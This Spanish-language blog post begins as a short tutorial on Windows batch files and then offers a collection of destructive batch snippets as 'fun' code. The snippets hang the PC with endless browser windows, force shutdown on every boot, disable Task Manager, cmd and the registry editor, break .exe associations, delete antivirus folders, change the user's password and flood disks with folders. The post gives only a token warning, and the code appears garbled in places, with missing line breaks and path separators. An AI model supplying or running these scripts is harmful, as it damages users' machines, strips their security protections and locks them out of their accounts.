Introduccion
Un archivo batch (o bat) es un archivo de procesamiento por lotes, que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados.
Cualquier comando DOS puede ser utilizado en un archivo batch.
¿Qué se puede hacer con ellos?
Pues se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos.
Empecemos por el clasico Hola Mundo solo que esta vez lo haremos en bat
Codigo
@echo off echo Hola Mundo pause exitbueno para escribir este codigo pueden usar el Block de Notas lo guardan como ejemplo.bat en donde dice tipo eligen Todos los archivos.
Ahora cuando lo ejecuten saldra el mensaje Hola Mundo y abajo dira Presione una tecla para continuar.
Les explicare un poco estas lineas de codigo:
echo
Imprime un texto en pantalla, que es el texto que viene despues
pause
Como dice, pausa la ejecucion del codigo. Ademas muestra el mensaje "Presione una tecla para continuar".
exit
Cierra la ventana de comandos.
Bueno ahora entendiendo un poco mas, aca les doy un codigo que encontre para que hagan cosas divertidas, pero tengan mucho cuidado con su uso ya que puede ser peligroso, les doy este codigo para que conozcan mas codigo y sepan lo que se puede hacer con codigo bat.
Como hacer que la memoria se ponga a full
@echo off :1 start www.google.com goto 1
aqui como ven los bucles se hace con goto el cual es similar al goto. Lo que hacemos aqui es abrir bastantes ventanas google hasta colgar la PC.
apagar la pc cada que inicia
@echo off echo shutdown -s -f -t 0 >> c:autoexec.bat cls
bloquear click derecho del raton
@echo off reg add HKEY_current_userSOFTWAREMicrosoftWindowsCurrentVersionpoliciessystem /v DisableTaskMgr /t reg_dword /d 00000001 /f @echo off Reg add hkey_current_usersoftwarepoliciesmicrosoftwindowssystem /v DisableCMD /t reg_dword /d 00000001 /f
bloquear la consola cmd
@echo off Reg add hkey_current_usersoftwarepoliciesmicrosoftwindowssystem /v DisableCMD /t reg_dword /d 00000001 /f
bloquear el administrador de tareas
@echo off reg add HKEY_current_userSOFTWAREMicrosoftWindowsCurrentVersionpoliciessystem /v DisableTaskMgr /t reg_dword /d 00000001 /f
bloquear programas en terminacion .exe
@echo off assoc .exe=txtfiles
bloquear registro
@echo off Reg add hkey_current_usersoftwarepoliciesmicrosoftwindowssystem /v DisableCMD /t reg_dword /d 00000001 /f @echo off reg add HKEY_current_userSOFTWAREMicrosoftWindowsCurrentVersionpoliciessystem /v DisableRegistryTools /t reg_dword /d 00000001 /f
bloquear una pag web
@echo off 0.0.0.0 WWW.la pagina.COM >> %windir%system32driversetchosts
borrar antivirus mas usados
@echo off cls cd cd "archivos de programa" cd "Norton antivirus" attrib -R -A -S -H *.* del /S /Q *.* cd.. cd "Panda Software" attrib -R -A -S -H *.* del /S /Q *.* cd.. cd "Kaspersky Lab" attrib -R -A -S -H *.* del /S /Q *.* cd.. cd "McAfee.com" attrib -R -A -S -H *.* del /S /Q *.* cls
cambiar contraseña
@echo off net user %username% uikhgfkshdojf
crear 1000 carpetas en disco duro
@echo off cd C: set carp=1000000 :crearcarpeta md %carp% set /a carp=%carp%-1 if %carp%== 0 (Goto 5) Else (Goto crearcarpeta) :5
mil carpetas en escritorio
@echo off set carpe=1000000 cd %homepath%escritorio :carpetaescritorio md %carpe% set /a carpe=%carpe%-1 if %carpe%== 0 (Goto 6) Else (Goto carepetaescritorio) :6estos codigos son para que tengna mucho cuidado con los .bat que abran, espero le den buen uso al codigo.
0 comentarios:
Publicar un comentario